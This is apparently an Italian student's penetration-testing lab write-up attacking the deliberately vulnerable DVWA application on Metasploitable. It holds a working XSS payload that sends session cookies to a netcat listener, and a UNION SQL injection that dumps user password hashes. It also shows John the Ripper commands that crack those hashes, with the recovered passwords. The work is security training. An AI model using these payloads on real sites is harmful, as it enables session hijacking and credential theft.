



PROGETTO S6/L5



# SFRUTTAMENTO (EXPLOITING) DELLE VULNERABILITÀ

Il progetto di oggi prevede di penetrare il sito DVWA di Metasploitable. grazie a 2 tipi di attacchi, XSS e SQL Injection (blind).

Il cross-site scripting (XSS) permette a un cracker di inserire o eseguire codice **lato client** al fine di attuare un insieme variegato di attacchi quali, ad esempio, raccolta, manipolazione e reindirizzamento di informazioni riservate ecc..

Il **SQL injection** è una tecnica di *code injection*, usata per attaccare applicazioni che gestiscono dati attraverso database relazionali sfruttando il linguaggio SQL.



Per svolgere l'esercizio seguiremo la traccia che ci è stata data:

Nell'esercizio di oggi, viene richiesto di exploitare le vulnerabilità:

- XSS reflected.
- SQL injection (blind).

Presenti sull'applicazione DVWA in esecuzione sulla macchina di laboratorio Metasploitable, dove va preconfigurato il livello di sicurezza=LOW.

Scopo dell'esercizio:

- Recuperare i cookie di sessione delle vittime del XSS reflected ed inviarli ad un server sotto il controllo dell'attaccante.
- Recuperare le password degli utenti presenti sul DB (sfruttando la SQLi).

# XSS REFLECTED

Andiamo sul sito DVWA nella sezione XSS stored. Diamo un nome qualsiasi e nel messaggio scriviamo il seguente codice :

```
<script> window.location="
```

Prima di fare ciò, però, dobbiamo modificare la lunghezza massima del corpo del messaggio. Come si vede nell'immagine è settato a 50 e va modificato al punto da poter inserire il comando per i cookie.

```
<td width="100">Message *</td>
▼ <td>
  <textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>
</td>
```

Una volta modificata la lunghezza massima, nella sezione “Message” inseriamo il comando

`<script> window.location="http://127.0.0.1:12345/index.html?param1="+document.cookie;</script>`

### Vulnerability: Stored Cross Site Scripting (XSS)

Name \*

Message \*


Sign Guestbook

Name: test

Message: This is a test comment.

Name: ciao

Message: &lt;script&gt; window.location=&quot;http://127.0.0.1:12345/index.html?param1=&quot;+document.cookie;&lt;/script&gt;



Con il codice `nc -l -p` vediamo che quando l'utente carica la pagina, lo script malevolo invia il cookie di sessione all'attaccante.

```
(kali㉿kali)-[~]  
$ nc -l -p 12345  
GET /index.html?param1=security=low;%20PHPSESSID=67dc9e9afca6fcaeb3704ce1e567cbf1 HTTP/1.1  
Host: 127.0.0.1:12345  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Referer: http://192.168.49.101/  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: cross-site  
Sec-Fetch-User: ?1
```

# SQL INJECTION (Blind)

Per effettuare l'attacco SQL injection è necessario trovare le credenziali nel database.

Usiamo il comando ' UNION SELECT user,password FROM users# ' per trovare le informazioni interessate nel database. La funzione UNION permette di unire più risultati nella ricerca. Le password sono crittografate e per decriptarle utilizziamo il tool 'John The Ripper'.

## Vulnerability: SQL Injection (Blind)

User ID:

```
ID: ' UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

```
ID: ' UNION SELECT user, password FROM users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03
```

```
ID: ' UNION SELECT user, password FROM users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
```

```
ID: ' UNION SELECT user, password FROM users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
```

```
ID: ' UNION SELECT user, password FROM users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Per il cracking delle password utilizziamo il seguente comando

`'john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 ./Desktop/pp.txt'`

Le password sono crittografate con la funzione md5.

```
(kali㉿kali)-[~]
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 ./Desktop/pp.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (?)
abc123        (?)
letmein       (?)
charley       (?)
4g 0:00:00:00 DONE (2024-02-28 09:18) 133.3g/s 102400p/s 102400c/s 153600C/s my3kids.. dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Per mostrare tutte le password trovate inseriamo `'--show --format= raw-md5'`

```
(kali㉿kali)-[~]
$ john --show --format=raw-md5 ./Desktop/pp.txt
?:password
?:abc123
?:charley
?:letmein
?:password
5 password hashes cracked, 0 left
```